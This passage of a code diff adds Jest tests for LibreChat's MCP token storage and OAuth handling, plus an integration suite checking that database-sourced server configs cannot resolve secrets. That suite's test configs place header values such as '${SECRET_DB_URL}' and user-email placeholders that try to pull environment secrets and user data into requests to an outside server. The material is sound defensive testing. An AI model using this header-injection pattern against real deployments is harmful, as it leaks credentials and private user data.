obtained_at: Date.now(), + expires_at: Date.now() + 3600000, + }); + + const result = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'srv1', + findToken: store.findToken, + createToken: store.createToken, + updateToken: store.updateToken, + refreshTokens, + }); + + expect(result).not.toBeNull(); + expect(result!.access_token).toBe('refreshed-at'); + expect(refreshTokens).toHaveBeenCalledWith( + 'rt', + expect.objectContaining({ userId: 'u1', serverName: 'srv1' }), + ); + }); + + it('should return null when refresh fails', async () => { + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + token: 'enc:expired-token', + expiresIn: -1, + }); + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth_refresh', + identifier: 'mcp:srv1:refresh', + token: 'enc:rt', + expiresIn: 86400, + }); + + const refreshTokens = jest.fn().mockRejectedValue(new Error('refresh failed')); + + const result = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'srv1', + findToken: store.findToken, + createToken: store.createToken, + updateToken: store.updateToken, + refreshTokens, + }); + + expect(result).toBeNull(); + }); + + it('should return null when no refreshTokens callback provided', async () => { + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + token: 'enc:expired-token', + expiresIn: -1, + }); + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth_refresh', + identifier: 'mcp:srv1:refresh', + token: 'enc:rt', + expiresIn: 86400, + }); + + const result = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'srv1', + findToken: store.findToken, + }); + + expect(result).toBeNull(); + }); + + it('should return null when no createToken callback provided', async () => { + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + token: 'enc:expired-token', + expiresIn: -1, + }); + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth_refresh', + identifier: 'mcp:srv1:refresh', + token: 'enc:rt', + expiresIn: 86400, + }); + + const result = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'srv1', + findToken: store.findToken, + refreshTokens: jest.fn(), + }); + + expect(result).toBeNull(); + }); + + it('should pass client info to refreshTokens metadata', async () => { + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + token: 'enc:expired-token', + expiresIn: -1, + }); + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth_refresh', + identifier: 'mcp:srv1:refresh', + token: 'enc:rt', + expiresIn: 86400, + }); + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth_client', + identifier: 'mcp:srv1:client', + token: 'enc:{"client_id":"cid","client_secret":"csec"}', + expiresIn: 86400, + }); + + const refreshTokens = jest.fn().mockResolvedValue({ + access_token: 'new-at', + token_type: 'Bearer', + expires_in: 3600, + }); + + await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'srv1', + findToken: store.findToken, + createToken: store.createToken, + updateToken: store.updateToken, + refreshTokens, + }); + + expect(refreshTokens).toHaveBeenCalledWith( + 'rt', + expect.objectContaining({ + clientInfo: expect.objectContaining({ client_id: 'cid' }), + }), + ); + }); + + it('should handle unauthorized_client refresh error', async () => { + const { logger } = await import('@librechat/data-schemas'); + + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth', + identifier: 'mcp:srv1', + token: 'enc:expired-token', + expiresIn: -1, + }); + await store.createToken({ + userId: 'u1', + type: 'mcp_oauth_refresh', + identifier: 'mcp:srv1:refresh', + token: 'enc:rt', + expiresIn: 86400, + }); + + const refreshTokens = jest.fn().mockRejectedValue(new Error('unauthorized_client')); + + const result = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'srv1', + findToken: store.findToken, + createToken: store.createToken, + refreshTokens, + }); + + expect(result).toBeNull(); + expect(logger.info).toHaveBeenCalledWith( + expect.stringContaining('does not support refresh tokens'), + ); + }); + }); + + describe('storeTokens + getTokens round-trip', () => { + it('should store and retrieve tokens with full encrypt/decrypt cycle', async () => { + await MCPTokenStorage.storeTokens({ + userId: 'u1', + serverName: 'srv1', + tokens: { + access_token: 'my-access-token', + token_type: 'Bearer', + expires_in: 3600, + refresh_token: 'my-refresh-token', + }, + createToken: store.createToken, + clientInfo: { client_id: 'cid', client_secret: 'sec', redirect_uris: [] }, + }); + + const result = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'srv1', + findToken: store.findToken, + }); + + expect(result!.access_token).toBe('my-access-token'); + expect(result!.refresh_token).toBe('my-refresh-token'); + expect(result!.token_type).toBe('Bearer'); + expect(result!.obtained_at).toBeDefined(); + expect(result!.expires_at).toBeDefined(); + }); + }); +}); diff --git a/packages/api/src/mcp/__tests__/dbSourced.integration.test.ts b/packages/api/src/mcp/__tests__/dbSourced.integration.test.ts new file mode 100644 index 0000000000..5866fa1a08 --- /dev/null +++ b/packages/api/src/mcp/__tests__/dbSourced.integration.test.ts @@ -0,0 +1,517 @@ +/** + * Integration tests for the `dbSourced` security boundary. + * + * These tests spin up real in-process MCP servers using the SDK's + * StreamableHTTPServerTransport, then exercise the full + * processMCPEnv → MCPConnection → HTTP request pipeline to verify: + * + * 1. DB-sourced servers resolve `{{MCP_API_KEY}}` via customUserVars. + * 2. DB-sourced servers do NOT leak `${ENV_VAR}` from process.env. + * 3. DB-sourced servers do NOT resolve `{{LIBRECHAT_USER_*}}` placeholders. + * 4. DB-sourced servers do NOT resolve `{{LIBRECHAT_BODY_*}}` placeholders. + * 5. YAML-sourced servers (dbSourced=false) resolve ALL placeholder types. + * 6. Mixed headers: some placeholders resolve, others are blocked. + */ + +import * as net from 'net'; +import * as http from 'http'; +import { Agent } from 'undici'; +import { Types } from 'mongoose'; +import { randomUUID } from 'crypto'; +import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'; +import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js'; +import type { MCPOptions } from 'librechat-data-provider'; +import type { IUser } from '@librechat/data-schemas'; +import type { Socket } from 'net'; +import { MCPConnection } from '~/mcp/connection'; +import { processMCPEnv } from '~/utils/env'; + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + debug: jest.fn(), + }, +})); + +jest.mock('~/auth', () => ({ + createSSRFSafeUndiciConnect: jest.fn(() => undefined), + resolveHostnameSSRF: jest.fn(async () => false), +})); + +jest.mock('~/mcp/mcpConfig', () => ({ + mcpConfig: { CONNECTION_CHECK_TTL: 0 }, +})); + +/** Track all Agents for cleanup */ +const allAgentsCreated: Agent[] = []; +const OriginalAgent = Agent; +const PatchedAgent = new Proxy(OriginalAgent, { + construct(target, args) { + const instance = new target(...(args as [Agent.Options?])); + allAgentsCreated.push(instance); + return instance; + }, +}); +(global as Record).__undiciAgent = PatchedAgent; + +afterAll(async () => { + const destroying = allAgentsCreated.map((a) => { + if (!a.destroyed && !a.closed) { + return a.destroy().catch(() => undefined); + } + return Promise.resolve(); + }); + allAgentsCreated.length = 0; + await Promise.all(destroying); +}); + +async function safeDisconnect(conn: MCPConnection | null): Promise { + if (!conn) return; + (conn as unknown as { shouldStopReconnecting: boolean }).shouldStopReconnecting = true; + conn.removeAllListeners(); + await conn.disconnect(); +} + +function getFreePort(): Promise { + return new Promise((resolve, reject) => { + const srv = net.createServer(); + srv.listen(0, '127.0.0.1', () => { + const addr = srv.address() as net.AddressInfo; + srv.close((err) => (err ? reject(err) : resolve(addr.port))); + }); + }); +} + +function trackSockets(httpServer: http.Server): () => Promise { + const sockets = new Set(); + httpServer.on('connection', (socket: Socket) => { + sockets.add(socket); + socket.once('close', () => sockets.delete(socket)); + }); + return () => + new Promise((resolve) => { + for (const socket of sockets) socket.destroy(); + sockets.clear(); + httpServer.close(() => resolve()); + }); +} + +interface TestServer { + url: string; + close: () => Promise; + /** Returns the most recently captured request headers */ + getLastHeaders: () => Record; +} + +function createTestUser(overrides: Partial = {}): IUser { + return { + _id: new Types.ObjectId(), + id: new Types.ObjectId().toString(), + username: 'testuser', + email: 'test@example.com', + name: 'Test User', + avatar: 'https://example.com/avatar.png', + provider: 'email', + role: 'user', + createdAt: new Date('2021-01-01'), + updatedAt: new Date('2021-01-01'), + emailVerified: true, + ...overrides, + } as IUser; +} + +/** + * Creates a Streamable HTTP MCP server that captures incoming request headers. + * The server registers a dummy tool so `fetchTools()` makes a real request + * through the transport, allowing us to capture the headers from that request. + */ +async function createHeaderCapturingServer(): Promise { + const sessions = new Map(); + let lastHeaders: Record = {}; + + const httpServer = http.createServer(async (req, res) => { + // Capture headers from every POST request (the tool-listing / tool-call requests) + if (req.method === 'POST') { + lastHeaders = {}; + for (const [key, value] of Object.entries(req.headers)) { + if (typeof value === 'string') { + lastHeaders[key] = value; + } else if (Array.isArray(value)) { + lastHeaders[key] = value.join(', '); + } + } + } + + const sid = req.headers['mcp-session-id'] as string | undefined; + let transport = sid ? sessions.get(sid) : undefined; + + if (!transport) { + transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID() }); + const mcp = new McpServer({ name: 'header-capture-server', version: '0.0.1' }); + mcp.tool('echo', 'Echo tool for testing', {}, async () => ({ + content: [{ type: 'text', text: 'ok' }], + })); + await mcp.connect(transport); + } + + await transport.handleRequest(req, res); + + if (transport.sessionId && !sessions.has(transport.sessionId)) { + sessions.set(transport.sessionId, transport); + transport.onclose = () => sessions.delete(transport!.sessionId!); + } + }); + + const destroySockets = trackSockets(httpServer); + const port = await getFreePort(); + await new Promise((resolve) => httpServer.listen(port, '127.0.0.1', resolve)); + + return { + url: `http://127.0.0.1:${port}/`, + getLastHeaders: () => ({ ...lastHeaders }), + close: async () => { + const closing = [...sessions.values()].map((t) => t.close().catch(() => undefined)); + sessions.clear(); + await Promise.all(closing); + await destroySockets(); + }, + }; +} + +describe('dbSourced header security – integration', () => { + let server: TestServer; + let conn: MCPConnection | null; + + beforeEach(async () => { + server = await createHeaderCapturingServer(); + conn = null; + process.env.SECRET_DB_URL = 'mongodb://admin:password@prod-host:27017/secret'; + process.env.INTERNAL_API_KEY = 'internal-key-do-not-leak'; + }); + + afterEach(async () => { + await safeDisconnect(conn); + conn = null; + jest.restoreAllMocks(); + await server.close(); + delete process.env.SECRET_DB_URL; + delete process.env.INTERNAL_API_KEY; + }); + + it('DB-sourced: resolves {{MCP_API_KEY}} via customUserVars', async () => { + const options: MCPOptions = { + type: 'streamable-http', + url: server.url, + headers: { + Authorization: 'Bearer {{MCP_API_KEY}}', + }, + }; + + const resolved = processMCPEnv({ + options, + dbSourced: true, + customUserVars: { MCP_API_KEY: 'user-provided-secret' }, + }); + + conn = new MCPConnection({ + serverName: 'db-test', + serverConfig: resolved, + useSSRFProtection: false, + }); + + if ('headers' in resolved) { + conn.setRequestHeaders(resolved.headers || {}); + } + + await conn.connect(); + await conn.fetchTools(); + + const captured = server.getLastHeaders(); + expect(captured['authorization']).toBe('Bearer user-provided-secret'); + }); + + it('DB-sourced: does NOT resolve ${ENV_VAR} — literal placeholder sent as header', async () => { + const options: MCPOptions = { + type: 'streamable-http', + url: server.url, + headers: { + 'X-Leaked-DB': '${SECRET_DB_URL}', + 'X-Leaked-Key': '${INTERNAL_API_KEY}', + }, + }; + + const resolved = processMCPEnv({ options, dbSourced: true }); + + conn = new MCPConnection({ + serverName: 'db-test', + serverConfig: resolved, + useSSRFProtection: false, + }); + + if ('headers' in resolved) { + conn.setRequestHeaders(resolved.headers || {}); + } + + await conn.connect(); + await conn.fetchTools(); + + const captured = server.getLastHeaders(); + // The literal placeholders must be sent, NOT the env values + expect(captured['x-leaked-db']).toBe('${SECRET_DB_URL}'); + expect(captured['x-leaked-key']).toBe('${INTERNAL_API_KEY}'); + // Double-check env vars were NOT injected + expect(captured['x-leaked-db']).not.toContain('mongodb://'); + expect(captured['x-leaked-key']).not.toBe('internal-key-do-not-leak'); + }); + + it('DB-sourced: does NOT resolve {{LIBRECHAT_USER_*}} placeholders', async () => { + const user = createTestUser({ id: 'user-secret-id', email: 'private@corp.com' }); + const options: MCPOptions = { + type: 'streamable-http', + url: server.url, + headers: { + 'X-User-Id': '{{LIBRECHAT_USER_ID}}', + 'X-User-Email': '{{LIBRECHAT_USER_EMAIL}}', + }, + }; + + const resolved = processMCPEnv({ options, user, dbSourced: true }); + + conn = new MCPConnection({ + serverName: 'db-test', + serverConfig: resolved, + useSSRFProtection: false, + }); + + if ('headers' in resolved) { + conn.setRequestHeaders(resolved.headers || {}); + } + + await conn.connect(); + await conn.fetchTools(); + + const captured = server.getLastHeaders(); + expect(captured['x-user-id']).toBe('{{LIBRECHAT_USER_ID}}'); + expect(captured['x-user-email']).toBe('{{LIBRECHAT_USER_EMAIL}}'); + expect(captured['x-user-id']).not.toBe('user-secret-id'); + }); + + it('DB-sourced: does NOT resolve {{LIBRECHAT_BODY_*}} placeholders', async () => { + const body = { + conversationId: 'conv-secret-123', + parentMessageId: 'parent-456', + messageId: 'msg-789', + }; + const options: MCPOptions = { + type: 'streamable-http', + url: server.url, + headers: { + 'X-Conv-Id': '{{LIBRECHAT_BODY_CONVERSATIONID}}', + }, + }; + + const resolved = processMCPEnv({ options, body, dbSourced: true }); + + conn = new MCPConnection({ + serverName: 'db-test', + serverConfig: resolved, + useSSRFProtection: false, + }); + + if ('headers' in resolved) { + conn.setRequestHeaders(resolved.headers || {}); + } + + await conn.connect(); + await conn.fetchTools(); + + const captured = server.getLastHeaders(); + expect(captured['x-conv-id']).toBe('{{LIBRECHAT_BODY_CONVERSATIONID}}'); + expect(captured['x-conv-id']).not.toBe('conv-secret-123'); + }); + + it('DB-sourced: mixed headers — customUserVars resolve, everything else blocked', async () => { + const user = createTestUser({ id: 'user-id-value' }); + const body = { conversationId: 'conv-id-value', parentMessageId: 'p-1', messageId: 'm-1' }; + const options: MCPOptions = { + type: 'streamable-http', + url: server.url, + headers: { + Authorization: 'Bearer {{MCP_API_KEY}}', + 'X-Env-Leak': '${SECRET_DB_URL}', + 'X-User-Id': '{{LIBRECHAT_USER_ID}}', + 'X-Conv-Id': '{{LIBRECHAT_BODY_CONVERSATIONID}}', + 'X-Static': 'plain-value', + }, + }; + + const resolved = processMCPEnv({ + options, + user, + body, + dbSourced: true, + customUserVars: { MCP_API_KEY: 'my-api-key-value' }, + }); + + conn = new MCPConnection({ + serverName: 'db-test', + serverConfig: resolved, + useSSRFProtection: false, + }); + + if ('headers' in resolved) { + conn.setRequestHeaders(resolved.headers || {}); + } + + await conn.connect(); + await conn.fetchTools(); + + const captured = server.getLastHeaders(); + // customUserVars resolved + expect(captured['authorization']).toBe('Bearer my-api-key-value'); + // env var blocked + expect(captured['x-env-leak']).toBe('${SECRET_DB_URL}'); + // user placeholder blocked + expect(captured['x-user-id']).toBe('{{LIBRECHAT_USER_ID}}'); + // body placeholder blocked + expect(captured['x-conv-id']).toBe('{{LIBRECHAT_BODY_CONVERSATIONID}}'); + // static value unchanged + expect(captured['x-static']).toBe('plain-value'); + }); + + it('YAML-sourced (default): resolves ALL placeholder types', async () => { + const user = createTestUser({ id: 'yaml-user-id', email: 'yaml@example.com' }); + const body = { conversationId: 'yaml-conv-id', parentMessageId: 'p-1', messageId: 'm-1' }; + const options: MCPOptions = { + type: 'streamable-http', + url: server.url, + headers: { + Authorization: 'Bearer {{MY_CUSTOM_KEY}}', + 'X-Env': '${INTERNAL_API_KEY}', + 'X-User-Id': '{{LIBRECHAT_USER_ID}}', + 'X-Conv-Id': '{{LIBRECHAT_BODY_CONVERSATIONID}}', + }, + }; + + const resolved = processMCPEnv({ + options, + user, + body, + dbSourced: false, + customUserVars: { MY_CUSTOM_KEY: 'yaml-custom-val' }, + }); + + conn = new MCPConnection({ + serverName: 'yaml-test', + serverConfig: resolved, + useSSRFProtection: false, + }); + + if ('headers' in resolved) { + conn.setRequestHeaders(resolved.headers || {}); + } + + await conn.connect(); + await conn.fetchTools(); + + const captured = server.getLastHeaders(); + // All placeholder types resolved + expect(captured['authorization']).toBe('Bearer yaml-custom-val'); + expect(captured['x-env']).toBe('internal-key-do-not-leak'); + expect(captured['x-user-id']).toBe('yaml-user-id'); + expect(captured['x-conv-id']).toBe('yaml-conv-id'); + }); + + it('DB-sourced: URL placeholder ${ENV_VAR} is NOT resolved', () => { + const options: MCPOptions = { + type: 'streamable-http', + url: '${SECRET_DB_URL}/mcp', + headers: {}, + }; + + const resolved = processMCPEnv({ options, dbSourced: true }); + expect((resolved as { url?: string }).url).toBe('${SECRET_DB_URL}/mcp'); + }); + + it('YAML-sourced: URL placeholder ${ENV_VAR} IS resolved', () => { + const options: MCPOptions = { + type: 'streamable-http', + url: '${INTERNAL_API_KEY}/endpoint', + headers: {}, + }; + + const resolved = processMCPEnv({ options, dbSourced: false }); + expect((resolved as { url?: string }).url).toBe('internal-key-do-not-leak/endpoint'); + }); + + it('DB-sourced: multiple customUserVars resolve correctly', async () => { + const options: MCPOptions = { + type: 'streamable-http', + url: server.url, + headers: { + Authorization: 'Bearer {{API_TOKEN}}', + 'X-Workspace': '{{WORKSPACE_ID}}', + 'X-Region': '{{REGION}}', + }, + }; + + const resolved = processMCPEnv({ + options, + dbSourced: true, + customUserVars: { + API_TOKEN: 'tok-abc123', + WORKSPACE_ID: 'ws-def456', + REGION: 'us-east-1', + }, + }); + + conn = new MCPConnection({ + serverName: 'db-multi-var', + serverConfig: resolved, + useSSRFProtection: false, + }); + + if ('headers' in resolved) { + conn.setRequestHeaders(resolved.headers || {}); + } + + await conn.connect(); + await conn.fetchTools(); + + const captured = server.getLastHeaders(); + expect(captured['authorization']).toBe('Bearer tok-abc123'); + expect(captured['x-workspace']).toBe('ws-def456'); + expect(captured['x-region']).toBe('us-east-1'); + }); + + it('DB-sourced: absent customUserVars leaves placeholder unresolved', async () => { + const options: MCPOptions = { + type: 'streamable-http', + url: server.url, + headers: { + Authorization: 'Bearer {{MCP_API_KEY}}', + }, + }; + + // No customUserVars provided at all + const resolved = processMCPEnv({ options, dbSourced: true }); + + conn = new MCPConnection({ + serverName: 'db-no-vars', + serverConfig: resolved, + useSSRFProtection: false, + }); + + if ('headers' in resolved) { + conn.setRequestHeaders(resolved.headers || {}); + } + + await conn.connect(); + await conn.fetchTools(); + + const captured = server.getLastHeaders(); + expect(captured['authorization']).toBe('Bearer {{MCP_API_KEY}}'); + }); +}); diff --git a/packages/api/src/mcp/__tests__/handler.test.ts b/packages/api/src/mcp/__tests__/handler.test.ts index f7347b8bbe..3b68d88e9c 100644 --- a/packages/api/src/mcp/__tests__/handler.test.ts +++ b/packages/api/src/mcp/__tests__/handler.test.ts @@ -1,3 +1,4 @@ +import { TokenExchangeMethodEnum } from 'librechat-data-provider'; import type { MCPOptions } from 'librechat-data-provider'; import type { AuthorizationServerMetadata } from '@modelcontextprotocol/sdk/shared/auth.js'; import { MCPOAuthFlowMetadata, MCPOAuthHandler, MCPOAuthTokens } from '~/mcp/oauth'; @@ -898,7 +899,7 @@ describe('MCPOAuthHandler - Configurable OAuth Metadata', () => { it('passes headers to client registration', async () => { mockRegisterClient.mockImplementation(async (_, options) => { await options.fetchFn?.('http://example.com/register', {}); - return { client_id: 'test', redirect_uris: [] }; + return { client_id: 'test', redirect_uris: [], logo_uri: undefined, tos_uri: undefined }; }); await MCPOAuthHandler.initiateOAuthFlow( @@ -993,6 +994,308 @@ describe('MCPOAuthHandler - Configurable OAuth Metadata', () => { }); }); + describe('Fetch wrapper client_secret_basic body cleanup', () => { + const originalFetch = global.fetch; + const mockFetch = jest.fn() as unknown as jest.MockedFunction; + + beforeEach(() => { + jest.clearAllMocks(); + global.fetch = mockFetch; + }); + + afterEach(() => { + mockFetch.mockClear(); + }); + + afterAll(() => { + global.fetch = originalFetch; + }); + + it('should remove client_id and client_secret from body when using client_secret_basic via completeOAuthFlow', async () => { + const mockFlowManager = { + getFlowState: jest.fn().mockResolvedValue({ + status: 'PENDING', + metadata: { + serverName: 'test-server', + serverUrl: 'https://example.com/mcp', + codeVerifier: 'test-verifier', + clientInfo: { + client_id: 'test-client-id', + client_secret: 'test-client-secret', + redirect_uris: ['http://localhost:3080/api/mcp/test-server/oauth/callback'], + token_endpoint_auth_method: 'client_secret_basic', + }, + metadata: { + issuer: 'https://example.com', + authorization_endpoint: 'https://example.com/authorize', + token_endpoint: 'https://example.com/token', + response_types_supported: ['code'], + token_endpoint_auth_methods_supported: ['client_secret_basic'], + }, + } as MCPOAuthFlowMetadata, + }), + completeFlow: jest.fn(), + } as unknown as FlowStateManager; + + mockExchangeAuthorization.mockImplementation(async (_, options) => { + const body = new URLSearchParams({ + grant_type: 'authorization_code', + code: 'test-auth-code', + client_id: 'test-client-id', + client_secret: 'test-client-secret', + }); + await options.fetchFn?.('https://example.com/token', { + method: 'POST', + body, + }); + return { access_token: 'test-token', token_type: 'Bearer', expires_in: 3600 }; + }); + + await MCPOAuthHandler.completeOAuthFlow('test-flow', 'test-auth-code', mockFlowManager, {}); + + const callArgs = mockFetch.mock.calls[0]; + const sentBody = callArgs[1]?.body as string; + expect(sentBody).not.toContain('client_id='); + expect(sentBody).not.toContain('client_secret='); + + const sentHeaders = callArgs[1]?.headers as Headers; + expect(sentHeaders.get('Authorization')).toMatch(/^Basic /); + }); + }); + + describe('completeOAuthFlow auth method propagation', () => { + const originalFetch = global.fetch; + const mockFetch = jest.fn() as unknown as jest.MockedFunction; + + beforeEach(() => { + jest.clearAllMocks(); + global.fetch = mockFetch; + }); + + afterEach(() => { + mockFetch.mockClear(); + }); + + afterAll(() => { + global.fetch = originalFetch; + }); + + it('should use client_secret_post when clientInfo specifies that method', async () => { + const mockFlowManager = { + getFlowState: jest.fn().mockResolvedValue({ + status: 'PENDING', + metadata: { + serverName: 'test-server', + serverUrl: 'https://example.com/mcp', + codeVerifier: 'test-verifier', + clientInfo: { + client_id: 'test-client-id', + client_secret: 'test-client-secret', + redirect_uris: ['http://localhost:3080/api/mcp/test-server/oauth/callback'], + token_endpoint_auth_method: 'client_secret_post', + }, + metadata: { + issuer: 'https://example.com', + authorization_endpoint: 'https://example.com/authorize', + token_endpoint: 'https://example.com/token', + response_types_supported: ['code'], + token_endpoint_auth_methods_supported: ['client_secret_post'], + }, + } as MCPOAuthFlowMetadata, + }), + completeFlow: jest.fn(), + } as unknown as FlowStateManager; + + mockExchangeAuthorization.mockImplementation(async (_, options) => { + const body = new URLSearchParams({ + grant_type: 'authorization_code', + code: 'test-auth-code', + }); + await options.fetchFn?.('https://example.com/token', { + method: 'POST', + body, + }); + return { access_token: 'test-token', token_type: 'Bearer', expires_in: 3600 }; + }); + + await MCPOAuthHandler.completeOAuthFlow('test-flow', 'test-auth-code', mockFlowManager, {}); + + const callArgs = mockFetch.mock.calls[0]; + const sentBody = callArgs[1]?.body as string; + expect(sentBody).toContain('client_id=test-client-id'); + expect(sentBody).toContain('client_secret=test-client-secret'); + + const sentHeaders = callArgs[1]?.headers as Headers; + expect(sentHeaders.has('Authorization')).toBe(false); + }); + + it('should use none auth when clientInfo has no secret', async () => { + const mockFlowManager = { + getFlowState: jest.fn().mockResolvedValue({ + status: 'PENDING', + metadata: { + serverName: 'test-server', + serverUrl: 'https://example.com/mcp', + codeVerifier: 'test-verifier', + clientInfo: { + client_id: 'test-client-id', + redirect_uris: ['http://localhost:3080/api/mcp/test-server/oauth/callback'], + token_endpoint_auth_method: 'none', + }, + metadata: { + issuer: 'https://example.com', + authorization_endpoint: 'https://example.com/authorize', + token_endpoint: 'https://example.com/token', + response_types_supported: ['code'], + token_endpoint_auth_methods_supported: ['none'], + }, + } as MCPOAuthFlowMetadata, + }), + completeFlow: jest.fn(), + } as unknown as FlowStateManager; + + mockExchangeAuthorization.mockImplementation(async (_, options) => { + const body = new URLSearchParams({ + grant_type: 'authorization_code', + code: 'test-auth-code', + }); + await options.fetchFn?.('https://example.com/token', { + method: 'POST', + body, + }); + return { access_token: 'test-token', token_type: 'Bearer', expires_in: 3600 }; + }); + + await MCPOAuthHandler.completeOAuthFlow('test-flow', 'test-auth-code', mockFlowManager, {}); + + const callArgs = mockFetch.mock.calls[0]; + const sentBody = callArgs[1]?.body as string; + expect(sentBody).toContain('client_id=test-client-id'); + expect(sentBody).not.toContain('client_secret='); + + const sentHeaders = callArgs[1]?.headers as Headers; + expect(sentHeaders.has('Authorization')).toBe(false); + }); + }); + + describe('refreshOAuthTokens with forced token_exchange_method', () => { + const originalFetch = global.fetch; + const mockFetch = jest.fn() as unknown as jest.MockedFunction; + + beforeEach(() => { + jest.clearAllMocks(); + global.fetch = mockFetch; + }); + + afterEach(() => { + mockFetch.mockClear(); + }); + + afterAll(() => { + global.fetch = originalFetch; + }); + + it('should force client_secret_post even when server advertises client_secret_basic', async () => { + const metadata = { + serverName: 'test-server', + serverUrl: 'https://auth.example.com', + clientInfo: { + client_id: 'test-client-id', + client_secret: 'test-client-secret', + token_endpoint_auth_method: 'client_secret_basic', + }, + }; + + mockDiscoverAuthorizationServerMetadata.mockResolvedValueOnce({ + issuer: 'https://auth.example.com', + authorization_endpoint: 'https://auth.example.com/oauth/authorize', + token_endpoint: 'https://auth.example.com/oauth/token', + token_endpoint_auth_methods_supported: ['client_secret_basic'], + response_types_supported: ['code'], + jwks_uri: 'https://auth.example.com/.well-known/jwks.json', + subject_types_supported: ['public'], + id_token_signing_alg_values_supported: ['RS256'], + } as AuthorizationServerMetadata); + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => ({ + access_token: 'new-access-token', + refresh_token: 'new-refresh-token', + expires_in: 3600, + }), + } as Response); + + await MCPOAuthHandler.refreshOAuthTokens('refresh-token', metadata, {}, { + token_exchange_method: TokenExchangeMethodEnum.DefaultPost, + } as MCPOptions['oauth']); + + expect(mockFetch).toHaveBeenCalledWith( + 'https://auth.example.com/oauth/token', + expect.objectContaining({ + method: 'POST', + headers: expect.not.objectContaining({ + Authorization: expect.any(String), + }), + }), + ); + + const callArgs = mockFetch.mock.calls[0]; + const body = callArgs[1]?.body as URLSearchParams; + expect(body.toString()).toContain('client_id=test-client-id'); + expect(body.toString()).toContain('client_secret=test-client-secret'); + }); + }); + + describe('revokeOAuthToken with empty auth methods', () => { + const originalFetch = global.fetch; + const mockFetch = jest.fn() as unknown as jest.MockedFunction; + + beforeEach(() => { + jest.clearAllMocks(); + global.fetch = mockFetch; + }); + + afterEach(() => { + mockFetch.mockClear(); + }); + + afterAll(() => { + global.fetch = originalFetch; + }); + + it('should send no client credentials when revocationEndpointAuthMethodsSupported is empty', async () => { + const metadata = { + serverUrl: 'https://auth.example.com', + clientId: 'test-client-id', + clientSecret: 'test-client-secret', + revocationEndpoint: 'https://auth.example.com/oauth/revoke', + revocationEndpointAuthMethodsSupported: [] as string[], + }; + + mockFetch.mockResolvedValueOnce({ + ok: true, + status: 200, + } as Response); + + await MCPOAuthHandler.revokeOAuthToken('test-server', 'test-token', 'access', metadata); + + expect(mockFetch).toHaveBeenCalledWith( + expect.any(URL), + expect.objectContaining({ + headers: expect.not.objectContaining({ + Authorization: expect.any(String), + }), + }), + ); + + const callArgs = mockFetch.mock.calls[0]; + const body = callArgs[1]?.body as string; + expect(body).not.toContain('client_id='); + expect(body).not.toContain('client_secret='); + }); + }); + describe('Fallback OAuth Metadata (Legacy Server Support)', () => { const originalFetch = global.fetch; const mockFetch = jest.fn(); @@ -1020,6 +1323,8 @@ describe('MCPOAuthHandler - Configurable OAuth Metadata', () => { client_id: 'dynamic-client-id', client_secret: 'dynamic-client-secret', redirect_uris: ['http://localhost:3080/api/mcp/test-server/oauth/callback'], + logo_uri: undefined, + tos_uri: undefined, }); // Mock startAuthorization to return a successful response @@ -1134,5 +1439,292 @@ describe('MCPOAuthHandler - Configurable OAuth Metadata', () => { }), ); }); + + describe('path-based URL origin fallback', () => { + it('retries with origin URL when path-based discovery fails (stored clientInfo path)', async () => { + const metadata = { + serverName: 'sentry', + serverUrl: 'https://mcp.sentry.dev/mcp', + clientInfo: { + client_id: 'test-client-id', + client_secret: 'test-client-secret', + grant_types: ['authorization_code', 'refresh_token'], + }, + }; + + const originMetadata = { + issuer: 'https://mcp.sentry.dev/', + authorization_endpoint: 'https://mcp.sentry.dev/oauth/authorize', + token_endpoint: 'https://mcp.sentry.dev/oauth/token', + token_endpoint_auth_methods_supported: ['client_secret_post'], + response_types_supported: ['code'], + jwks_uri: 'https://mcp.sentry.dev/.well-known/jwks.json', + subject_types_supported: ['public'], + id_token_signing_alg_values_supported: ['RS256'], + } as AuthorizationServerMetadata; + + // First call (path-based URL) fails, second call (origin URL) succeeds + mockDiscoverAuthorizationServerMetadata + .mockResolvedValueOnce(undefined) + .mockResolvedValueOnce(originMetadata); + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => ({ + access_token: 'new-access-token', + refresh_token: 'new-refresh-token', + expires_in: 3600, + }), + } as Response); + + const result = await MCPOAuthHandler.refreshOAuthTokens( + 'test-refresh-token', + metadata, + {}, + {}, + ); + + // Discovery attempted twice: once with path URL, once with origin URL + expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(2); + expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenNthCalledWith( + 1, + expect.any(URL), + expect.any(Object), + ); + expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenNthCalledWith( + 2, + expect.any(URL), + expect.any(Object), + ); + const firstDiscoveryUrl = mockDiscoverAuthorizationServerMetadata.mock.calls[0][0] as URL; + const secondDiscoveryUrl = mockDiscoverAuthorizationServerMetadata.mock.calls[1][0] as URL; + expect(firstDiscoveryUrl.href).toBe('https://mcp.sentry.dev/mcp'); + expect(secondDiscoveryUrl.href).toBe('https://mcp.sentry.dev/'); + + // Token endpoint from origin discovery metadata is used (string in stored-clientInfo branch) + expect(mockFetch).toHaveBeenCalled(); + const [fetchUrl, fetchOptions] = mockFetch.mock.calls[0]; + expect(typeof 